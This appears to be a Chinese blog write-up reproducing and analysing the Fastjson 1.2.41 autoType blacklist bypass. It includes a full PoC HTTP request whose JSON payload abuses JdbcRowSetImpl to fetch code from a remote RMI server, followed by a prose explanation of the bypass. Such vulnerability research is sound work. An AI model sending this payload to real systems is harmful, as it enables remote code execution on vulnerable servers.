Fastjson 1.2.41 Rce 漏洞复现&分析

0x01 漏洞背景

影响范围：1.2.25-1.2.41

漏洞描述：由于过滤不严格，在开启autotype后导致类加载黑名单被绕过，造成命令执行

0x02 漏洞复现

poc：

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 149

{           
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit",
	"autoCommit":true
}

0x03 漏洞分析

在1.2.24之后，fastjson1.2.25开始默认关闭对autoType的支持，并且添加checkAutoType方法，其采用了白名单+黑名单的模式对开启autoType开启的情况进行防御。但是在1.2.25-1.2.41版本之间多了一次绕过。

这个漏洞需要除了具备1.2.24rce的漏洞之外，还需要设置开AutoType支持

其他流程与1.2.24那个漏洞差不多，这里省略掉繁杂的流程直接定位到checkAutoType附近。

按照1.2.24及以前，在对key的内容进行解析之后，需要对该类进行加载时一般是直接loadClass，这里直接将loadClass放入了checkAutoType中

跟进checkAutoType，由于我们传入的payload是

Lcom.sun.rowset.JdbcRowSetImpl;

因此成功绕过是否以黑明单中com.sun开头的方式的拦截。

经过黑白名单检查后，进入类加载模式

跟进loadClass

由于该类并不存在在mappings列表中因此进入else if，而刚刚好其会过滤L和；，再对该类进行加载。

由此先绕过黑白名单，再去掉其他影响类加载的字符，剩下的跟1.2.24的漏洞的执行流程一样。

0x04

https://paper.seebug.org/1192/

https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/